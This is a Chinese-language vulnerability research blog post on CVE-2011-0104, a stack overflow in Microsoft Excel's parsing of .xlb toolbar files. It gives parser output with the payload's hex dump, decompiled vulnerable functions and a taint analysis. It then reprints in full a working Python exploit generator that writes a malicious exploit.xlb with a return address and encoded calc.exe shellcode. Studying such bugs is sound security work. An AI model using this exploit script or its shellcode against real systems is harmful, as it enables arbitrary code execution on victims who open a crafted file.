CVE-2011-0104 漏洞研究

7erry

CVE-2011-0104 是 Microsoft Excel 在解析 XLB 文件中的 TOOLBARDEF Record ————CVE 公告上写的是 Hlink Record,但事实上是 TOOLBARDEF Record————时未对 Len 和 Cbtn 字段与 Continue Record 的 Len 字段做过滤导致导致栈溢出漏洞,这允许攻击者能够借此实现任意地址写任意数据。通过让受害者打开恶意的 XLB 文件,攻击者能够完全控制受害者主机。到目前为止 CVE-2011-0104 漏洞还未收录在 MSF 中

影响范围:
Microsoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office 2010, Office 2004 and 2008 for Mac, Office for Mac 2011

XLB 文件

.xlb 文件是 Microsoft Excel 用于存储工具栏自定义设置的二进制文件。它的文件结构并未公开,因此没有官方的详细文档描述其内部结构,但 Microsoft 提供了包括 .xlsb 文件在内的其它文件的文件结构的介绍。这些文件结构信息可以通过逆向工程手段获取,也可以使用一些已有的解析工具解析得到。使用 py-office-tools 对样本 exploit.xlb 进行解析能够得到形如以下格式的解析结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[*]Opening file exploit.xlb
[*]Listing streams/storages:

Warning: OLE type 0x8 not in types

[**]Detected Excel file exploit.xlb
********************************************************************************
[*]Dumping Workbook stream 0x3f7a (16250) bytes...

[ii]BOF record: current count 1

...

[7]Record FORMAT [0x41e (1054)] offset 0x4cd (1229), len 0x2e (46) (Number Format)
WORD ifmt = 0x29 (41)
WORD cch = 0x29 (41)
BYTE grbit = 0x0 (0)
Field 'rgb' is variable length, dumping rest of record:
0000000000 5F 28 2A 20 23 2C 23 23 30 5F 29 3B 5F 28 2A 20 _(* #,##0_);_(*
0000000010 5C 28 23 2C 23 23 30 5C 29 3B 5F 28 2A 20 22 2D .(#,##0.);_(* "-
0000000020 22 5F 29 3B 5F 28 40 5F 29 "_);_(@_)

...

这样的 Rocord 共有 457 条,漏洞描述中提到的 TOOLBARDEF Record 是其中的第 2 条(偏移为1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
[1]Record TOOLBARDEF [0xa7 (167)] offset 0x14 (20), len 0x4 (4) (Toolbar Definition:)
BYTE fUnnamed = 0xb0 (176)
WORD cbtn = 0xc0f (3087)
Field 'rgbbtndef' is variable length, dumping rest of record:
0000000000 00 .
[2]Record CONTINUE [0x3c (60)] offset 0x1c (28), len 0x300 (768) (Continues Long Records)
Field 'data' is variable length, dumping rest of record:
0000000000 40 DF D6 D5 3B DF D6 D5 3B 00 00 00 00 00 00 00 @...;...;.......
0000000010 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0000000020 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0000000030 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0000000040 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0000000050 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0000000060 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0000000070 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0000000080 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0000000090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
00000000A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
00000000B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
00000000C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
00000000D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
00000000E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
00000000F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0000000100 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0000000110 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0000000120 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0000000130 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0000000140 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0000000150 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0000000160 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0000000170 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0000000180 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0000000190 90 90 90 00 62 00 72 00 69 00 31 00 1E 00 DC 00 ....b.r.i.1.....
00000001A0 00 00 08 00 90 01 00 00 00 02 00 FA 07 01 43 00 ..............C.
00000001B0 61 00 6C 00 69 00 62 00 72 00 69 00 31 00 1E 00 a.l.i.b.r.i.1...
00000001C0 68 01 01 00 38 00 BC 02 00 00 00 02 00 FA 07 01 h...8...........
00000001D0 43 00 61 00 6D 00 62 00 72 00 69 00 61 00 31 00 C.a.m.b.r.i.a.1.
00000001E0 1E 00 2C 01 01 00 38 00 BC 02 00 00 00 02 00 FA ..,...8.........
00000001F0 07 01 43 00 61 00 6C 00 69 00 62 00 72 00 69 00 ..C.a.l.i.b.r.i.
0000000200 31 00 1E 00 04 01 01 00 38 00 BC 02 00 00 00 02 1.......8.......
0000000210 00 FA 07 01 43 00 61 00 6C 00 69 00 62 00 72 00 ....C.a.l.i.b.r.
0000000220 69 00 31 00 1E 00 DC 00 01 00 38 00 BC 02 00 00 i.1.......8.....
0000000230 00 02 00 FA 07 01 43 00 61 00 6C 00 69 00 62 00 ......C.a.l.i.b.
0000000240 72 00 69 00 31 00 1E 00 DC 00 00 00 11 00 90 01 r.i.1...........
0000000250 00 00 00 02 00 FA 07 01 43 00 61 00 6C 00 69 00 ........C.a.l.i.
0000000260 62 00 72 00 69 00 31 00 1E 00 DC 00 00 00 14 00 b.r.i.1.........
0000000270 90 01 00 00 00 02 00 FA 07 01 43 00 61 00 6C 00 ..........C.a.l.
0000000280 69 00 62 00 72 00 69 00 31 00 1E 00 DC 00 00 00 i.b.r.i.1.......
0000000290 3C 00 90 01 00 00 00 02 00 FA 07 01 43 00 61 00 <...........C.a.
00000002A0 6C 00 69 00 62 00 72 00 69 00 31 00 1E 00 DC 00 l.i.b.r.i.1.....
00000002B0 00 00 3E 00 90 01 00 00 00 02 00 FA 07 01 43 00 ..>...........C.
00000002C0 61 00 6C 00 69 00 62 00 72 00 69 00 31 00 1E 00 a.l.i.b.r.i.1...
00000002D0 DC 00 01 00 3F 00 BC 02 00 00 00 02 00 FA 07 01 ....?...........
00000002E0 43 00 61 00 6C 00 69 00 62 00 72 00 69 00 31 00 C.a.l.i.b.r.i.1.
00000002F0 1E 00 DC 00 01 00 34 00 BC 02 00 00 00 02 00 FA ......4.........
WARNING:No record description for id 0x107 (263) len 0x43 (67)
0000000000 61 00 6C 00 69 00 62 00 72 00 69 00 31 00 1E 00 a.l.i.b.r.i.1...
0000000010 DC 00 00 00 34 00 90 01 00 00 00 02 00 FA 07 01 ....4...........
0000000020 43 00 61 00 6C 00 69 00 62 00 72 00 69 00 31 00 C.a.l.i.b.r.i.1.
0000000030 1E 00 DC 00 01 00 09 00 BC 02 00 00 00 02 00 FA ................
0000000040 07 01 43 ..C
!!Invalid record length (0x6c00, 27648) only have 0x3c0f (15375) left
!!Attempting to recover from error
!!Recovered from error, skipped 0xda (218) bytes

注意到解析工具提醒我们紧跟在 TOOLBARDEF 后的 CONTINUE 仅有一个字段,且字段值非常大(0x300),同时其后出现了非法 Record

结合漏洞描述很容易想到这里的 CONTINUE Record 就是溢出后的 Payload

漏洞分析

MSF 未收录该漏洞,故在此使用著名安全组织 Abysssec 提供的 Exploit 生成的样本 exploit.xlb 进行分析

调试运行 excel.exe 并打开 exploit.xlb 将使得程序触发异常,并中断在函数 sub_300E05AD 的 0x300E06F7 处,对栈顶下内存写硬件断点,发现程序执行到了 sub_300DE7EC 函数的 0x300DE834 处,指令为 rep movsd,它将 esi 指向的数据复制到 edi 指向的内存,反编译该函数得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
char *__userpurge sub_300DE7EC@<eax>(char *a1@<ebp>, char *a2, unsigned int a3, unsigned int a4)
{
int v4; // ebx
int v5; // edx
signed int v6; // eax
signed int v7; // eax
int v9; // eax

v4 = a3;
if ( !a3 )
return 0;
if ( a3 > a4 )
{
sub_300DD5A6(dword_3088DF34, 6);
goto LABEL_15;
}
v5 = dword_30892C44;
v6 = nNumberOfBytesToRead;
a1 = a2;
do
{
if ( v5 >= v6 )
{
v9 = v4;
if ( v4 > 0x4000 )
LABEL_15:
v9 = 0x4000;
sub_3011A989(v9);
v5 = dword_30892C44;
v6 = nNumberOfBytesToRead;
}
v7 = v6 - v5;
if ( v4 < v7 )
v7 = v4;
qmemcpy(a1, (char *)dword_3088EC40 + v5, v7);
v4 -= v7;
v5 = v7 + dword_30892C44;
a1 += v7;
dword_30892C44 += v7;
if ( !v4 )
break;
v6 = nNumberOfBytesToRead;
}
while ( nNumberOfBytesToRead == 0x4000 );
return (char *)(a1 - a2);
}

注意到危险函数 memcpy,其复制长度为变量 v7,其值为 0x300(一个上文中出现过的数字)。对 v7 进行污点分析:

v7 的值为 v4 与 v6 - v5 中的较小值,其中 v4 为传入的参数 a3,v5 和 v6 都来自于内存中存储的数据。根据平时软件开发的经验,我们更倾向于认为 v4 代表了需要 memcpy 的大小,而 v6 - v5 像是某种默认值或阈值。因此先追溯 v4。v4 的值来自于函数传入的参数 a3,a3 来自主调函数的 v74,v74 来自 v13,v13 的值来自于 sub_300DE7C5 函数的返回值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int sub_300DE7C5()
{
signed int v0; // eax
int v1; // ecx
int result; // eax
int v3; // esi
int v4; // ecx
unsigned __int16 v5; // ax

v0 = nNumberOfBytesToRead;
v1 = dword_30892C44;
if ( dword_30892C44 >= (int)(nNumberOfBytesToRead - 1) )
{
if ( dword_30892C44 >= (int)nNumberOfBytesToRead )
{
sub_3011A989(1);
v1 = dword_30892C44;
v0 = nNumberOfBytesToRead;
}
v3 = dword_3088EC40[v1];
v4 = v1 + 1;
dword_30892C44 = v4;
if ( v4 >= v0 )
{
sub_3011A989(1);
v4 = dword_30892C44;
}
LOBYTE(v5) = 0;
HIBYTE(v5) = dword_3088EC40[v4];
dword_30892C44 = v4 + 1;
return v5 | v3;
}
else
{
result = *(unsigned __int16 *)&dword_3088EC40[dword_30892C44];
dword_30892C44 += 2;
}
return result;
}

发现该函数应该是在从映射到内存中的文件流里读数据,并且读取了文件偏移 0x1C 处用 0x3C 表示的数据(由主调函数得出)。结合上文中对样本 XLB 文件的解析结果,不难得出 memcpy 的复制长度参数这一污点的来源是程序打开的 .xlb 文件中 CONTINUE RECORD 的 Len 字段。通过相同的方式污点分析 memcpy 的复制地址也来自于打开的 .xlb 文件,具体地说来自于 TOOLBARDEF RECORD 的 Len 字段与 cbtn 字段

总结,通过调试威胁样本能够定位到漏洞函数 sub_300DE7EC,对漏洞函数进行污点分析后发现程序没有对来自 .xlb 文件的输入进行任何的过滤便直接基于读取到的数据进行 memcpy,进而导致了允许攻击者对任意地址写入任意大小数据的栈溢出漏洞的出现

漏洞利用

运行 exploit.py 程序修改 src.xlb 基础文件生成 exploit.xlb 木马文件(shellcode 是打开计算器)

1
python exploit.py

Exploit 分析

这是一个比较典型的栈溢出 exp,详见注释即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
'''
# Full info : http://www.abysssec.com/blog/2011/11/02/microsoft-excel-2007-sp2-buffer-overwrite-vulnerability-ba-exploit-ms11-021/
# Microsoft Office Excel 2007 SP2 Code Execution Exploit
# Exploit for MS11-021 patch
# Tested on Microsoft Office Excel 2007 (xp) SP2 (Excel.exe . Version = 12.0.6545.5000)
'''

import sys

def main():

try:
#* 打开基础文件
fdR = open('src.xlb', 'rb+')
strTotal = fdR.read()
#* 修改了 0x33D / 829 字节
str1 = strTotal[:1556] #* 0x613
str2 = strTotal[2385:] #* 0x951

#* 构造 TOOLBARDEF Record
recordType = "\xA7\x00"
recordLenght = "\x04\x00"
field1 = "\xB0"
field2 = "\x0F\x0C"
field3 = "\x00"
field4 = "\x3C\x00"
field5 = "\x00\x03"

record = recordType + recordLenght + field1 + field2 + field3 + field4 + field5

#* Shellcode 地址,现在一般写成 ret_addr
eip = "\xDF\xD6\xD5\x3B" # Call ESP

# shellcode calc.exe
shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode += '\x89\xE5\xD9\xEE\xD9\x75\xF4\x5E\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5A\x6A\x41\x58\x50\x30\x41\x30\x41\x6B\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4A\x49\x4B\x4C\x4B\x58\x51\x54\x43\x30\x43\x30\x45\x50\x4C\x4B\x51\x55\x47\x4C\x4C\x4B\x43\x4C\x43\x35\x44\x38\x45\x51\x4A\x4F\x4C\x4B\x50\x4F\x44\x58\x4C\x4B\x51\x4F\x47\x50\x45\x51\x4A\x4B\x51\x59\x4C\x4B\x46\x54\x4C\x4B\x43\x31\x4A\x4E\x46\x51\x49\x50\x4A\x39\x4E\x4C\x4C\x44\x49\x50\x42\x54\x45\x57\x49\x51\x48\x4A\x44\x4D\x45\x51\x49\x52\x4A\x4B\x4B\x44\x47\x4B\x46\x34\x46\x44\x45\x54\x43\x45\x4A\x45\x4C\x4B\x51\x4F\x47\x54\x43\x31\x4A\x4B\x43\x56\x4C\x4B\x44\x4C\x50\x4B\x4C\x4B\x51\x4F\x45\x4C\x45\x51\x4A\x4B\x4C\x4B\x45\x4C\x4C\x4B\x43\x31\x4A\x4B\x4C\x49\x51\x4C\x47\x54\x45\x54\x48\x43\x51\x4F\x46\x51\x4C\x36\x43\x50\x46\x36\x45\x34\x4C\x4B\x50\x46\x50\x30\x4C\x4B\x47\x30\x44\x4C\x4C\x4B\x44\x30\x45\x4C\x4E\x4D\x4C\x4B\x42\x48\x44\x48\x4D\x59\x4B\x48\x4B\x33\x49\x50\x43\x5A\x46\x30\x45\x38\x4C\x30\x4C\x4A\x45\x54\x51\x4F\x42\x48\x4D\x48\x4B\x4E\x4D\x5A\x44\x4E\x50\x57\x4B\x4F\x4A\x47\x43\x53\x47\x4A\x51\x4C\x50\x57\x51\x59\x50\x4E\x50\x44\x50\x4F\x46\x37\x50\x53\x51\x4C\x43\x43\x42\x59\x44\x33\x43\x44\x43\x55\x42\x4D\x50\x33\x50\x32\x51\x4C\x42\x43\x45\x31\x42\x4C\x42\x43\x46\x4E\x45\x35\x44\x38\x42\x45\x43\x30\x41\x41'


if len(shellcode) > 800:
print "[*] Error : Shellcode length is long"
return
if len(shellcode) <= 800:
dif = 800 - len(shellcode)
#* 填充 Nop 雪橇
while dif > 0 :
shellcode += '\x90'
dif = dif - 1

fdW= open('exploit.xlb', 'wb+')
fdW.write(str1)
fdW.write(record)
fdW.write("\x41") # pad
fdW.write(eip)
fdW.write("\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") # bypassing a conditional
fdW.write(shellcode)
fdW.write(str2)

fdW.close()
fdR.close()
print '[-] Excel file generated'
except IOError:
print '[*] Error : An IO error has occurred'
print '[-] Exiting ...'
sys.exit(-1)

if __name__ == '__main__':
main()

漏洞修复

对打补丁前后的程序进行 BinDiff 后发现漏洞函数的主调函数在调用前增加了一些判断条件以避免栈溢出的发生。有一说一闹麻了。

Reference

NVD - CVE-2011-0104
CVE - CVE-2011-0104
Github - CVE-2011-0104
漏洞战争
Office FIle Formats

  • Title: CVE-2011-0104 漏洞研究
  • Author: 7erry
  • Created at : 2024-08-25 19:40:01
  • Updated at : 2024-08-25 19:40:01
  • Link: http://7erry.com/2024/08/25/CVE-2011-0104-漏洞研究/
  • License: This work is licensed under CC BY-NC 4.0.